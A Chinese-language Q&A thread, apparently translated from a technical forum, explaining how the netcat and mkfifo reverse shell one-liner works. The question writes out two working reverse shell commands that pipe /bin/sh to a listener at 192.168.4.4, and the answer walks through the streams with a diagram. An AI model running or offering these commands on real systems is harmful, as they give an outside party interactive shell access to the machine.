这个命令是如何工作的？（反壳）

Question

有一种简单的方法可以连接两个系统并使用nc命令获取 shell，如下所示。

• 机器A监听

  nc -nlvp 4444
  

• 机器B连接

  nc 192.168.4.4 4444 -e /bin/bash
  

但是，-e选项不再存在，手册页建议按照以下方式执行命令

• 机器A监听

  nc -nlvp 4444
  

• 机器B连接

  rm /tmp/f
  mkfifo /tmp/f
  cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.4.4 4444 > /tmp/f
  

我确实知道（命名管道）背后的概念mkfifo以及重定向和管道的工作原理。但这仍然让我困惑。

Answer 1

让我们在标准流中思考stdin一下stderr。

nc 192.168.4.4 4444 >/tmp/f

流stdout被nc复制到/tmp/ffifo，这意味着它通过网络从另一台计算机接收到的任何内容都会发送到那里。那么 stdin 从哪里来呢？从/bin/sh -i 2>&1。就其而言nc，它只需将该数据发送回另一台机器即可。

那么，/bin/sh -i做什么呢？它调用交互式 shell - 您可以在其中键入命令并将输出打印到stdout. 提示user@host通常（如果不是总是）打印到stderr，但我们需要将其发送到远程计算机，因此2>&1应用重定向来通过管道发送提示。好吧，我们不能用来stdout打印输出 - shell 必须nc 192.168.4.4 4444通过网络发送该输出。我们也无法读取stdin-cat /tmp/f将使用它来打印示例中从机器 A 发出的任何命令。将命令传送到交互式 shell 并不是什么特别的事情 - 当stdin重新连接时，应用程序不会意识到它，除非它正在主动检查。

$ echo 'df' | sh -i
$ Filesystem     1K-blocks     Used Available Use% Mounted on
udev             4000944        0   4000944   0% /dev
tmpfs             805348     1400    803948   1% /run
/dev/sda1       28717732 25907684   1328188  96% /
tmpfs            4026732    97496   3929236   3% /dev/shm
tmpfs               5120        4      5116   1% /run/lock
tmpfs            4026732        0   4026732   0% /sys/fs/cgroup
/dev/sdb1      115247656 99204832  10165476  91% /mnt/ubuntu
tmpfs             805344       32    805312   1% /run/user/1000
$ 
sh: 1: Cannot set tty process group (No such process)

简而言之，shell 从 fifo 读取命令并通过管道通过网络将命令发送到nc. 从远程 shell 发送到本地 shell 的命令被写入ncfifo。如此循环下去。下面基于文本的数据流图也总结了相同的信息

                             input data
                                  ||  /\
             (in via network)     \/  || (back via network `/bin/sh` via nc`)

cat /tmp/f  == > /bin/sh -i 2>&1 ==> nc 192.168.4.4 4444 ==>  /tmp/f ==||
  /\                                                                   ||
  ||                                                                   \/
  ======================================================================

顺便说一句，请注意，制作这样的 3 个命令管道允许我们以一种更简单的方式一次性生成这些命令（尽管不能保证顺序）。如果我们要手动执行此操作并将所有进程都作为前台进程，nc则必须首先在一个 shell 中启动，然后cat在另一个 shell 中启动，sh在第三个 shell 中启动。在我们准备它们的时间里，它会阻止从命名 fifo 文件读取或写入/tmp/f，并且还会引发如何从catto/bin/sh和 from /bin/shto发送输出的问题nc，这也可能会添加更多命名管道。使用管道执行三个fork()调用，并exec()在一个 shell 中执行三个调用，并允许我们通过文件描述符使它们全部通话；不管它们启动的顺序如何——这会更快、更简单，但如果不知道管道、文件描述符和命令的行为方式，这并不是最容易理解的。

重要提示：传统的ncas 协议不提供任何信息安全性 - 命令及其输出以纯文本形式通过网络传输，攻击者可能会修改机器 A 和 B 之间的数据。如果您确实希望有安全的方式来发出通过 shell-use 向远程计算机发送命令ssh。该ssh协议是专门为此目的而设计的。如果您确实打算使用安全协议，请使用openssl或ncat.